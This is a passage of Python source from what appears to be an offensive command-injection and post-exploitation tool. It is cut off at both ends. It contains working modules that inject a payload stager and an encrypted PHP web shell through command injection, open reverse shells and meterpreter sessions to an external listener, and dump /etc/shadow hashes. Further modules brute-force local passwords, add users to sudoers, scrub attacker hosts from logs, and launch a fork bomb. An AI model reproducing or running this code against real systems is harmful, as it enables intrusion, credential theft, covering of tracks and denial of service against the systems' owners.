ihjVIaMJcPZTd14+tPVk/rozb0OXPbdUZjaXD9TKyESEFMP43qIqYdb6nTkWyg9v6A6HnwV8HTr+srgZz6V/gJdQuPZaXRtdz6SH1rXvKBjdNXiwI0roHqTxpG7I35RsJ2Hqeu6aGJ//i4yE+WPMXoL3dbugUO0h6Gn/+9BnuF4b+HAlUxj0xy1No3f/WrQs1Fv6pkd46Q1dK4ONpy2P+BEa39RSTKvlH3OR+xxvbf3sRm75uTd2vkjeo//H96ONG9HH7+INvH/8HN3rv7QbtVddRYmbf69bnzfct7/V+4nFG/TijfpxRP86of/4Z9eME+K0nwO/5lHWdIvvH2PoOD7ahi6R1O1U/oXSrzQl9RX7tzCn7mCVuz2eZ0+mGnv7zAkuL8RvUYgG1TfN6sET/J7TxH+9G2xu8oYW78OCjgVi4QiQjEGIxC4DsH77pM/51nclvcmqHOnMwHVhoPx6P2kSbeOi7uZzWD6H1R0YkECvhCmBD18XScgu2jRjYAXpNtjwt6bd8Jr6saQTavAxttp8K7d+NsDwSIq2C0BQy2fz6y9/ITFLe")).split(";")
|
|
|
|
last_step = 0
|
|
counter = 0;
|
|
progress_length = 64
|
|
|
|
os.system("setterm -cursor off")
|
|
|
|
for file in files:
|
|
|
|
counter += 1
|
|
output = " " + str(counter) + " of " + str(len(files))
|
|
|
|
sys.stdout.write("\b" * last_step)
|
|
sys.stdout.write(output)
|
|
sys.stdout.flush()
|
|
|
|
last_step = len(output)
|
|
|
|
if self.send("[ -f " + file + " ] && echo 'found' || echo 'not found'") == "found":
|
|
if self.send("[ -w " + file + " ] && echo 'granted' || 'denied'") == "granted":
|
|
if self.send("grep -Fq '" + target + "' " + file + " && echo 'ok'") == "ok":
|
|
|
|
sys.stdout.write("\b" * last_step)
|
|
sys.stdout.flush()
|
|
last_step = 0
|
|
|
|
Print.info("Found target in file " + file)
|
|
self.send("sed -ie 's/" + target + "/" + replacement + "/g' " + file)
|
|
|
|
if self.send("grep -Fq '" + target + "' " + file + " && echo 'ok'") == "ok":
|
|
tmp = "/tmp/" + "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8))
|
|
self.send("sed -e 's/" + target + "/" + replacement + "/g' " + file + " > " + tmp + "; mv -f " + tmp + " " + file)
|
|
|
|
if self.send("grep -Fq '" + target + "' " + file + " && echo 'ok'") != "ok":
|
|
Print.success(file + " is clean")
|
|
else:
|
|
Print.error("Failed to clean " + file)
|
|
|
|
else:
|
|
sys.stdout.write("\b" * last_step)
|
|
sys.stdout.flush()
|
|
last_step = 0
|
|
|
|
Print.error("Couldn't access " + file)
|
|
|
|
sys.stdout.write("\b" * last_step)
|
|
sys.stdout.flush()
|
|
last_step = 0
|
|
|
|
os.system("setterm -cursor on")
|
|
Print.success("Scan complete!")
|
|
|
|
@staticmethod
|
|
def rc_cred_crack(command):
|
|
|
|
valid, local_options = validate_rc(command)
|
|
|
|
if valid:
|
|
if not self.tty:
|
|
Print.error("This command needs tty")
|
|
else:
|
|
Print.status("Gathering users")
|
|
users = sorted(self.send("/bin/cat /etc/passwd | cut -d : -f 1").strip().split("\n"))
|
|
|
|
Print.info("Found " + str(len(users)) + " users:")
|
|
for i in range(0, len(users)):
|
|
Print.text("[" + str(i) + "] " + users[i])
|
|
|
|
selection = input(" User(s), separate index with comma: ")
|
|
|
|
passwords = [
|
|
lambda x: x,
|
|
lambda x: x[::-1],
|
|
"password",
|
|
"pass",
|
|
"123"
|
|
]
|
|
|
|
for userIndex in selection.strip().split(","):
|
|
if re.match(r"[-+]?\d+$", userIndex) is not None:
|
|
index = int(userIndex)
|
|
if index >= 0 and index < len(users):
|
|
user = users[index].strip()
|
|
Print.status("Cracking user '" + user + "'")
|
|
|
|
for _password in passwords:
|
|
password = (_password(user) if hasattr(_password, "__call__") else _password).strip()
|
|
|
|
self.send("su -c whoami " + user)
|
|
if user in self.send(password).strip().split("\n"):
|
|
Print.success("Found credentials " + user + ":" + password)
|
|
break
|
|
|
|
@staticmethod
|
|
def rc_hash_dump(command):
|
|
|
|
valid, local_options = validate_rc(command)
|
|
|
|
if valid:
|
|
if not self.tty:
|
|
Print.error("This command needs tty")
|
|
else:
|
|
sudo = (True if self.send("whoami") != "root" else False)
|
|
|
|
if ((sudo and self.send("sudo -u root whoami") == "root") or (not sudo)):
|
|
dump = ""
|
|
|
|
Print.status("Trying to read /etc/passwd")
|
|
passwd = self.send((("sudo " if sudo else "") + "cat /etc/passwd")).split("\n")
|
|
|
|
Print.status("Trying to read /etc/shadow")
|
|
shadow = self.send((("sudo " if sudo else "") + "cat /etc/shadow")).split("\n")
|
|
|
|
for shadow_line in shadow:
|
|
match = re.compile(r"(^\w*):([^:]*)").match(shadow_line)
|
|
if match:
|
|
username = match.group(1)
|
|
password = match.group(2)
|
|
if not re.compile(r"^\*|^!$").match(password):
|
|
for passwd_line in passwd:
|
|
if re.compile(r"^" + username + ":").match(passwd_line):
|
|
dump += passwd_line.replace(":x:", ":" + password + ":") + "\n"
|
|
|
|
if len(dump.split("\n")) > 1:
|
|
Print.success("Successfully dumped hashes")
|
|
Utility.save_loot("unshadowed", "\n".join(dump.split("\n")[:-1]))
|
|
|
|
else:
|
|
Print.error("Failed to impersonate root")
|
|
Print.info("This command needs root privilage")
|
|
|
|
@staticmethod
|
|
def rc_forkbomb(command):
|
|
|
|
valid, local_options = validate_rc(command)
|
|
|
|
if valid and local_options["RC_PASSWORD"] == self.rc_password:
|
|
try:
|
|
for i in range(0, 5):
|
|
self.send("f(){ f|f& };f")
|
|
time.sleep(1)
|
|
|
|
if self.send("echo online") == "online":
|
|
Print.status("Online... " + str(5 - i))
|
|
else:
|
|
Print.success("System is unresponsive!")
|
|
return
|
|
Print.error("Forkbomb seem to have failed!")
|
|
except:
|
|
Print.status("Could not determine status of execution")
|
|
##Print.success("System is unresponsive!"
|
|
## Next the session will be terminated due to connection failure
|
|
else:
|
|
Print.info("The Run Command password is '" + self.rc_password + "'")
|
|
|
|
@staticmethod
|
|
def definition():
|
|
if not hasattr(RunCommands, "command_definition"):
|
|
RunCommands.command_definition = {
|
|
"external/shell" : {
|
|
"name" : "External Shell Injection",
|
|
"description" : "Injects a reverse shell payload for an external listener. Remember to initialize an open listener for the shell 'netcat -lvp <lport>'.",
|
|
"options" : {
|
|
"LHOST" : {
|
|
"required" : True,
|
|
"description" : "The local host of the listener",
|
|
"validation" : "\S+"
|
|
},
|
|
"LPORT": {
|
|
"required" : True,
|
|
"description" : "The local port of the listener",
|
|
"validation" : "\d+"
|
|
},
|
|
"PAYLOAD": {
|
|
"required" : True,
|
|
"description" : "The type of shell payload to inject",
|
|
"list" : [
|
|
"netcat",
|
|
"socat"
|
|
]
|
|
},
|
|
},
|
|
"run" : RunCommands.rc_external_shell
|
|
},
|
|
"external/meterpreter" : {
|
|
"name" : "External Meterpreter Injection",
|
|
"description" : "Injects a meterpreter payload for an external listener. Remember to initialize an open listener for the correct payload you are using.",
|
|
"options" : {
|
|
"LHOST" : {
|
|
"required" : True,
|
|
"description" : "The local host of the listener",
|
|
"validation" : "\S+"
|
|
},
|
|
"LPORT": {
|
|
"required" : True,
|
|
"description" : "The local port of the listener",
|
|
"validation" : "\d+"
|
|
},
|
|
"PAYLOAD": {
|
|
"required" : True,
|
|
"description" : "The type of meterpreter payload to inject",
|
|
"list" : [
|
|
"php/meterpreter/reverse_tcp",
|
|
"linux/x86/meterpreter/reverse_tcp",
|
|
"python/meterpreter/reverse_tcp"
|
|
]
|
|
},
|
|
},
|
|
"run" : RunCommands.rc_external_meterpreter
|
|
},
|
|
"run_as" : {
|
|
"name" : "Run As",
|
|
"description" : "Tries to spawn a shell from given credentials.",
|
|
"options" : {
|
|
"USERNAME" : {
|
|
"required" : True,
|
|
"description" : "Username of credentials",
|
|
"validation" : "\S+"
|
|
},
|
|
"PASSWORD": {
|
|
"required" : True,
|
|
"description" : "Password of credentials",
|
|
"validation" : "\S+"
|
|
},
|
|
},
|
|
"run" : RunCommands.rc_run_as
|
|
},
|
|
"cred_root" : {
|
|
"name" : "Credential To Root",
|
|
"description" : "Tries to spawn a root shell from given credentials.",
|
|
"options" : {
|
|
"USERNAME" : {
|
|
"required" : True,
|
|
"description" : "Username of credentials",
|
|
"validation" : "\S+"
|
|
},
|
|
"PASSWORD": {
|
|
"required" : True,
|
|
"description" : "Password of credentials",
|
|
"validation" : "\S+"
|
|
},
|
|
},
|
|
"run" : RunCommands.rc_cred_root
|
|
},
|
|
"create_user" : {
|
|
"name" : "Create User",
|
|
"description" : "Tries to create a user and add it to sudoers.",
|
|
"options" : {
|
|
"USERNAME" : {
|
|
"required" : True,
|
|
"description" : "Username of credentials",
|
|
"validation" : "\S+"
|
|
},
|
|
"PASSWORD": {
|
|
"required" : True,
|
|
"description" : "Password of credentials",
|
|
"validation" : "\S+"
|
|
},
|
|
},
|
|
"run" : RunCommands.rc_create_user
|
|
},
|
|
"enable_sudo" : {
|
|
"name" : "Enable Sudo",
|
|
"description" : "Tries to add user to sudoers by given username.",
|
|
"options" : {
|
|
"USERNAME" : {
|
|
"required" : True,
|
|
"description" : "Username to sudofy",
|
|
"validation" : "\S+"
|
|
},
|
|
},
|
|
"run" : RunCommands.rc_enable_sudo
|
|
},
|
|
"log_cleaner" : {
|
|
"name" : "Log Cleaner",
|
|
"description" : "Iterates through log files and replaces a host (ip or hostname).",
|
|
"options" : {
|
|
"TARGET" : {
|
|
"required" : True,
|
|
"description" : "Host to replace (ip or hostname)",
|
|
"validation" : "^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})|(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$"
|
|
}
|
|
},
|
|
"run" : RunCommands.rc_log_cleaner
|
|
},
|
|
"cred_crack" : {
|
|
"name" : "Credential Cracker",
|
|
"description" : "Tries to crack credentials",
|
|
"options" : { },
|
|
"run" : RunCommands.rc_cred_crack
|
|
},
|
|
"hash_dump" : {
|
|
"name" : "Password Hash Dump",
|
|
"description" : "Tries to dump an unshadowed password dump.",
|
|
"options" : { },
|
|
"run" : RunCommands.rc_hash_dump
|
|
},
|
|
"forkbomb" : {
|
|
"name" : "Fork Bomb Injection",
|
|
"description" : "Injects a fork bomb to as a DoS-attack.",
|
|
"options" : {
|
|
"RC_PASSWORD" : {
|
|
"required" : True,
|
|
"description" : "Run Command password",
|
|
"validation" : "\S+"
|
|
}
|
|
},
|
|
"run" : RunCommands.rc_forkbomb
|
|
}
|
|
}
|
|
return RunCommands.command_definition
|
|
|
|
@staticmethod
|
|
def commands():
|
|
return RunCommands.definition().keys()
|
|
|
|
@staticmethod
|
|
def get(key = None):
|
|
return RunCommands.definition()[key if key != None else self.selected_command]
|
|
|
|
@staticmethod
|
|
def get_options():
|
|
if RunCommands.is_selected():
|
|
return RunCommands.get()["options"]
|
|
else:
|
|
return {}
|
|
|
|
@staticmethod
|
|
def is_selected():
|
|
return True if self.selected_command != None and self.selected_command in RunCommands.commands() else False
|
|
|
|
@staticmethod
|
|
def validate(command):
|
|
local_options = {}
|
|
options = command["options"];
|
|
|
|
for o in options.keys():
|
|
option = options[o]
|
|
option_valid = True
|
|
try:
|
|
if o in self.option_values:
|
|
if "validation" in option.keys():
|
|
option_valid = re.compile(option["validation"]).match(self.option_values[o])
|
|
elif "list" in option.keys():
|
|
option_valid = self.option_values[o] in option["list"]
|
|
except:
|
|
option_valid = False
|
|
|
|
if not option_valid and option["required"]:
|
|
Print.error("The option " + o + " is required but missing or in violation")
|
|
return False, local_options
|
|
else:
|
|
local_options[o] = self.option_values[o]
|
|
|
|
return True, local_options
|
|
|
|
class ShellCommands(object):
|
|
|
|
@staticmethod
|
|
def sc_use(match):
|
|
if match:
|
|
if match.group(1) in RunCommands.commands():
|
|
self.selected_command = match.group(1)
|
|
else:
|
|
Print.error("The selected command does not exist")
|
|
else:
|
|
self.selected_command = None
|
|
|
|
print(" Select one of the following commands:")
|
|
print(" -> " + "\n -> ".join(sorted(RunCommands.commands())))
|
|
|
|
@staticmethod
|
|
def sc_set(match):
|
|
if match:
|
|
self.option_values[match.group(1).upper()] = match.group(2)
|
|
print(" " + match.group(1).upper() + " => " + match.group(2))
|
|
else:
|
|
Print.error("A name and a value must be defined")
|
|
|
|
@staticmethod
|
|
def sc_options(match):
|
|
if RunCommands.is_selected():
|
|
|
|
command = RunCommands.get()
|
|
options = RunCommands.get_options()
|
|
|
|
Print.table(
|
|
caption = command["name"],
|
|
headers = ["Name", "Current Setting", "Required", "Description"],
|
|
description = command["description"],
|
|
rows = list([{
|
|
0 : option,
|
|
1 : self.option_values[option] if option in self.option_values.keys() else "",
|
|
2 : ("yes" if options[option]["required"] else "no"),
|
|
3 : options[option]["description"],
|
|
"list" : {
|
|
"index": 3,
|
|
"array": options[option]["list"]
|
|
} if "list" in options[option].keys() else None
|
|
} for option in options.keys()])
|
|
)
|
|
else:
|
|
Print.error("There is no command selected")
|
|
Print.text()
|
|
|
|
@staticmethod
|
|
def sc_run(match):
|
|
if RunCommands.is_selected():
|
|
Print.status("Executing command '" + self.selected_command + "'")
|
|
|
|
## Clear buffer
|
|
self.send("")
|
|
|
|
command = RunCommands.get()
|
|
if command["run"] != None:
|
|
command["run"](command)
|
|
else:
|
|
Print.error("There is no command selected")
|
|
|
|
@staticmethod
|
|
def definition():
|
|
if not hasattr(ShellCommands, "command_definition"):
|
|
ShellCommands.command_definition = {
|
|
"use": {
|
|
"description": "selects run command. Using this command without argument shows available commands, and deselects any command",
|
|
"validation": r"use\s+([^\s]+)",
|
|
"run": ShellCommands.sc_use,
|
|
"state": self.interact_state.CONTINUE
|
|
},
|
|
"set": {
|
|
"description": "sets values of this shell session.",
|
|
"validation": r"set\s+([^\s]+)\s+([^\s]+)",
|
|
"run": ShellCommands.sc_set,
|
|
"state": self.interact_state.CONTINUE
|
|
},
|
|
"options": {
|
|
"description": "Shows options in context of selected command",
|
|
"validation": r"options",
|
|
"run": ShellCommands.sc_options,
|
|
"state": self.interact_state.CONTINUE
|
|
},
|
|
"run": {
|
|
"description": "Executes selected command",
|
|
"validation": r"run",
|
|
"run": ShellCommands.sc_run,
|
|
"state": self.interact_state.CONTINUE
|
|
},
|
|
"exit": {
|
|
"description": "Abort shell",
|
|
"validation": r"exit",
|
|
"run": None,
|
|
"state": self.interact_state.BREAK
|
|
},
|
|
"background": {
|
|
"description": "Background shell",
|
|
"validation": r"background",
|
|
"run": None,
|
|
"state": self.interact_state.BREAK
|
|
},
|
|
"clear": {
|
|
"description": "Clear screen",
|
|
"validation": r"clear",
|
|
"run": None,
|
|
"state": self.interact_state.CONTINUE
|
|
}
|
|
}
|
|
return ShellCommands.command_definition
|
|
|
|
@staticmethod
|
|
def commands():
|
|
return ShellCommands.definition().keys()
|
|
|
|
@staticmethod
|
|
def get(key):
|
|
return ShellCommands.definition()[key]
|
|
|
|
def sc_complete(text, state):
|
|
|
|
paths = []
|
|
|
|
for sc in ShellCommands.commands():
|
|
paths.append(sc)
|
|
|
|
if sc.startswith(text.split(" ")[0]) and text.split(" ")[0] == sc:
|
|
if sc == "use":
|
|
for rc in RunCommands.commands():
|
|
paths.append(sc + " " + rc)
|
|
elif sc == "set" and RunCommands.is_selected():
|
|
for option in RunCommands.get_options():
|
|
paths.append(sc + " " + option + " ")
|
|
|
|
for path in paths:
|
|
if path.lower().startswith(text.lower()):
|
|
if not state:
|
|
return path
|
|
else:
|
|
state -= 1
|
|
|
|
## Define autocomplete
|
|
readline.parse_and_bind("tab: complete")
|
|
readline.set_completer(sc_complete)
|
|
readline.set_completer_delims("")
|
|
|
|
while True:
|
|
try:
|
|
_input = input("\033[4mShell\033[0m" + ("(\033[94mtty\033[0m)" if self.tty else "") + (" use(\033[91m" + self.selected_command + "\033[0m)" if self.selected_command else "") + " > ")
|
|
_input_command = _input.split(" ")[0]
|
|
|
|
if _input_command == "exit": self.close();
|
|
if _input_command == "clear": import subprocess as sp; sp.call("clear", shell = True);
|
|
# ADD '?'
|
|
|
|
## Check if command
|
|
if _input_command in ShellCommands.commands():
|
|
|
|
if not _input_command == "use": print("")
|
|
|
|
command = ShellCommands.get(_input_command)
|
|
if command["run"] != None:
|
|
command["run"](re.compile(command["validation"]).match(_input))
|
|
|
|
if command["state"] == self.interact_state.BREAK: break
|
|
if command["state"] == self.interact_state.CONTINUE: continue
|
|
else:
|
|
#Print.text(self.send(_input))
|
|
for x in self.send(_input).strip().split("\n"): Print.text(x)
|
|
print("")
|
|
|
|
except:
|
|
self.close()
|
|
|
|
def close(self):
|
|
self.connection.close()
|
|
self.socket.close()
|
|
|
|
if self.id >= 0:
|
|
SessionManager.unregister(self.id)
|
|
|
|
Print.warning("Socket closed by user")
|
|
|
|
class CommandInjector(object):
|
|
|
|
@staticmethod
|
|
def init():
|
|
global _gs
|
|
|
|
import subprocess as sp
|
|
sp.call("clear",shell=True)
|
|
|
|
for key in _gs["payloads"].keys():
|
|
_gs["payloads"][key]["path"] = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(32)) + ".php"
|
|
|
|
CommandInjector.exploit()
|
|
_gs["_is_sudo"] = PHPInteractor.sudo_command("sudo whoami").strip() == "root"
|
|
|
|
## Create directories
|
|
_gs["dir_loot"] = _gs["dir_loot"].format(re.compile(r"^(http|https):\/\/([^\/]+)").match(_gs["url"]).group(2), time.strftime("%Y%m%d%H%M%S"))
|
|
if not os.path.exists(_gs["dir_loot"]):
|
|
os.makedirs(_gs["dir_loot"])
|
|
|
|
@staticmethod
|
|
def exploit():
|
|
global _gs
|
|
|
|
_gs["url_stager"] = None
|
|
_placeholder = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(32))
|
|
|
|
def stager_upload(url, stream, path):
|
|
tl = 0
|
|
counter = 1
|
|
chunk_size = _gs["chunk_size"]
|
|
chunk_count = math.ceil((len(stream) / 2) / chunk_size)
|
|
|
|
try:
|
|
while True:
|
|
chunk = stream[(chunk_size * 2 * (counter - 1)):][:chunk_size * 2]
|
|
|
|
if chunk:
|
|
if _gs["system"] == Utility.os.LINUX:
|
|
chunk = "0x" + "0x".join([chunk[i:i + 2] for i in range(0, len(chunk), 2)])
|
|
urllib.request.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.parse.quote_plus("echo '" + chunk + "' >> " + path))).read()
|
|
elif _gs["system"] == Utility.os.WINDOWS:
|
|
urllib.request.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.parse.quote_plus("<nul set /p \".=" + chunk.decode("hex").replace("\"", "'") + "\" >> " + path))).read()
|
|
|
|
tl = Print.status("Sending stage: {:.0%}".format((counter - 1) / chunk_count), True)
|
|
Print.text(("\b" * tl), True)
|
|
|
|
counter += 1
|
|
else:
|
|
break
|
|
|
|
# Remove line breaks
|
|
urllib.request.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.parse.quote_plus("sed -i -- ':a;N;$!ba;s/\\n//g' " + path))).read()
|
|
|
|
# Replace each hex representative
|
|
for i in range(256):
|
|
urllib.request.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.parse.quote_plus("sed -i -- 's/0x" + str("%0.2x" % i) + r"/\x" + str("%0.2x" % i) + "/g' " + path))).read()
|
|
Print.text((tl - Print.success("Payload injected through stager", True)) * " ")
|
|
|
|
except:
|
|
Print.text((tl - Print.error("Failed to inject payload", True)) * " ")
|
|
sys.exit(2)
|
|
finally:
|
|
urllib.request.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.parse.quote_plus("rm " + _gs["payloads"]["stager"]["path"]))).read()
|
|
Print.success("Stager removed")
|
|
|
|
def technique_result_based():
|
|
Print.status("METHOD: Result based injection")
|
|
|
|
for special in ["", "& ", "; ", "| ", "&;& "]:
|
|
|
|
def interactor(command, internal = False):
|
|
import difflib
|
|
|
|
url = _gs["url"]
|
|
|
|
if _gs["get"] != None:
|
|
url = url + "?" + urllib.parse.urlencode(json.loads(_gs["get"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\"")))
|
|
|
|
if _gs["post"] != None:
|
|
request = urllib.request.Request(url, headers=urllib.parse.urlencode(json.loads(_gs["post"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\""))))
|
|
else:
|
|
request = urllib.request.Request(url)
|
|
|
|
if not _gs["cookies"] == None:
|
|
request.add_header("cookie", _gs["cookies"])
|
|
|
|
response = urllib.request.urlopen(request).read()
|
|
|
|
if internal:
|
|
return response
|
|
else:
|
|
result = ""
|
|
normal_response = interactor("", True)
|
|
|
|
for i, s in enumerate(difflib.ndiff(normal_response, response)):
|
|
if s[0] == " ": continue
|
|
elif s[0] == "+": result = result + chr(int(s.replace("+","").strip()))
|
|
|
|
return result.replace(command, "")
|
|
|
|
if _placeholder == interactor("echo " + _placeholder).strip():
|
|
Print.success("Injection method is working => '" + special + "echo " + _placeholder + "'")
|
|
|
|
os = _gs["system"] = Utility.get_os(interactor)
|
|
Print.info("System seems to be: " + enum_name(os, Utility.os))
|
|
|
|
if os == Utility.os.LINUX:
|
|
Print.status("Uploading stager")
|
|
interactor("echo '0x" + "0x".join([_gs["payloads"]["stager"]["payload"][i:i + 2] for i in range(0, len(_gs["payloads"]["stager"]["payload"]), 2)]) + "' >> " + _gs["payloads"]["stager"]["path"])
|
|
for i in range(256):
|
|
interactor("sed -i -- 's/0x" + str("%0.2x" % i) + r"/\\x" + str("%0.2x" % i) + "/g' " + _gs["payloads"]["stager"]["path"])
|
|
#interactor(r"for i in {0..255}; do sed -i -- \"s/0x$( printf '%02x' $i)/\\x$( printf '%02x' $i)/g\" " + _gs["payloads"]["stager"]["path"] + "; done")
|
|
|
|
elif os == Utility.os.WINDOWS:
|
|
Print.status("Uploading stager")
|
|
interactor("echo " + re.compile(r"[\<\>]").sub(r"^\g<0>", _gs["payloads"]["stager"]["payload"].decode("hex")).replace("\"", "\\\"") + " >> " +_gs["payloads"]["stager"]["path"])
|
|
else:
|
|
Print.error("The system is unsupported for this exploit.")
|
|
Print.status("Aborting all further objectives!")
|
|
sys.exit(2)
|
|
|
|
_gs["url_stager"] = _gs["url"][:_gs["url"].rfind("/") + 1] + _gs["payloads"]["stager"]["path"]
|
|
|
|
Print.success("Stager is uploaded")
|
|
return True
|
|
|
|
Print.error("Injection method is not working")
|
|
return False
|
|
|
|
def technique_blind_file_based():
|
|
Print.status("METHOD: Blind file based injection")
|
|
|
|
for special in ["", "& ", "; ", "| ", "&;& "]:
|
|
|
|
def interactor(command, internal = False):
|
|
import difflib
|
|
|
|
url = _gs["url"]
|
|
|
|
if _gs["get"] != None:
|
|
url = url + "?" + urllib.parse.urlencode(json.loads(_gs["get"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\"")))
|
|
|
|
if _gs["post"] != None:
|
|
request = urllib.request.Request(url, headers=urllib.parse.urlencode(json.loads(_gs["post"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\""))))
|
|
else:
|
|
request = urllib.request.Request(url)
|
|
|
|
if not _gs["cookies"] == None:
|
|
request.add_header("cookie", _gs["cookies"])
|
|
|
|
response = urllib.request.urlopen(request).read()
|
|
|
|
if internal:
|
|
return response
|
|
else:
|
|
result = ""
|
|
normal_response = interactor("", True)
|
|
|
|
for i, s in enumerate(difflib.ndiff(normal_response, response)):
|
|
if s[0] == " ": continue
|
|
elif s[0] == "+": result = result + chr(int(s.replace("+","").strip()))
|
|
|
|
return result.replace(command, "")
|
|
|
|
def check_placeholder(_placeholder):
|
|
try:
|
|
interactor("echo " + _placeholder + " >> " + _placeholder)
|
|
return _placeholder == urllib.request.urlopen(_gs["url"][:_gs["url"].rfind("/") + 1] + _placeholder).read().strip()
|
|
except:
|
|
return ""
|
|
|
|
if check_placeholder(_placeholder):
|
|
Print.success("Injection method is working => '" + special + "echo " + _placeholder + " >> " + _placeholder + "'")
|
|
|
|
os = _gs["system"] = Utility.get_os(interactor)
|
|
Print.info("System seems to be: " + enum_name(os, Utility.os))
|
|
|
|
if os == Utility.os.LINUX:
|
|
|
|
Print.status("Removing indicator")
|
|
interactor("/bin/rm -f " + _placeholder)
|
|
|
|
Print.status("Uploading stager")
|
|
interactor("echo '0x" + "0x".join([_gs["payloads"]["stager"]["payload"][i:i + 2] for i in range(0, len(_gs["payloads"]["stager"]["payload"]), 2)]) + "' >> " + _gs["payloads"]["stager"]["path"])
|
|
for i in range(256):
|
|
interactor("sed -i -- 's/0x" + str("%0.2x" % i) + r"/\\x" + str("%0.2x" % i) + "/g' " + _gs["payloads"]["stager"]["path"])
|
|
|
|
elif os == Utility.os.WINDOWS:
|
|
Print.status("Removing indicator")
|
|
interactor("del /f " + _placeholder)
|
|
|
|
Print.status("Uploading stager")
|
|
interactor("echo " + re.compile(r"[\<\>]").sub(r"^\g<0>", _gs["payloads"]["stager"]["payload"].decode("hex")).replace("\"", "\\\"") + " >> " +_gs["payloads"]["stager"]["path"])
|
|
|
|
else:
|
|
Print.error("The system is unsupported for this exploit.")
|
|
Print.status("Aborting all further objectives!")
|
|
sys.exit(2)
|
|
|
|
_gs["url_stager"] = _gs["url"][:_gs["url"].rfind("/") + 1] + _gs["payloads"]["stager"]["path"]
|
|
|
|
Print.success("Stager is uploaded")
|
|
return True
|
|
|
|
Print.error("Injection method is not working")
|
|
return False
|
|
|
|
## Queue techniques
|
|
techniques = [
|
|
technique_result_based,
|
|
technique_blind_file_based,
|
|
]
|
|
|
|
Print.text()
|
|
Print.status("Testing different injection techniques")
|
|
|
|
for technique in techniques:
|
|
if technique() and not _gs["url_stager"] == None:
|
|
|
|
# Collect information
|
|
''' Don't make this optional
|
|
if Print.confirm("Encrypt response"):
|
|
_gs["smplshll_response_encryption"] = True
|
|
else:
|
|
_gs["smplshll_response_encryption"] = False
|
|
_gs["payloads"]["smplshll"]["payload"] = _gs["payloads"]["smplshll"]["payload"].replace("72657475726e20285f637279707428225f5f494e505f5053575f5f222c20246275666665722c2022656e63727970742229293b", "72657475726e20246275666665723b")
|
|
'''
|
|
|
|
Print.status("Setting up encryption")
|
|
_gs["smplshll_response_encryption"] = True
|
|
|
|
# Prepare payload
|
|
_gs["_var_eval"] = "".join(random.SystemRandom().choice(string.ascii_uppercase) for x in range(8))
|
|
_gs["_var_exec"] = "".join(random.SystemRandom().choice(string.ascii_uppercase) for x in range(8))
|
|
_gs["_var_sudo"] = "".join(random.SystemRandom().choice(string.ascii_uppercase) for x in range(8))
|
|
_gs["_var_sudo_prompt"] = "".join(random.SystemRandom().choice(string.ascii_uppercase) for x in range(8))
|
|
_gs["smplshll_main_password_var"] = "".join(random.SystemRandom().choice(string.ascii_uppercase) for x in range(8))
|
|
_gs["smplshll_main_password"] = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(32))
|
|
_gs["smplshll_input_password"] = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(32))
|
|
_gs["payloads"]["smplshll"]["payload"] = Utility.crypt(
|
|
_gs["smplshll_main_password"],
|
|
Utility.hexToStr(_gs["payloads"]["smplshll"]["payload"]).replace(
|
|
"__INP_PSW__", _gs["smplshll_input_password"]
|
|
).replace(
|
|
"__INP_VAR_EVAL__", _gs["_var_eval"]
|
|
).replace(
|
|
"__INP_VAR_EXEC__", _gs["_var_exec"]
|
|
).replace(
|
|
"__INP_VAR_SUDO__", _gs["_var_sudo"]
|
|
).replace(
|
|
"__INP_VAR_SUDO_PROMPT__", _gs["_var_sudo_prompt"]
|
|
)
|
|
)
|
|
|
|
_1 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8))
|
|
time.sleep(0.1)
|
|
_2 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8))
|
|
time.sleep(0.1)
|
|
_3 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8))
|
|
time.sleep(0.1)
|
|
_4 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8))
|
|
time.sleep(0.1)
|
|
_5 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8))
|
|
time.sleep(0.1)
|
|
_6 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8))
|
|
time.sleep(0.1)
|
|
_7 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8))
|
|
time.sleep(0.1)
|
|
_8 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8))
|
|
|
|
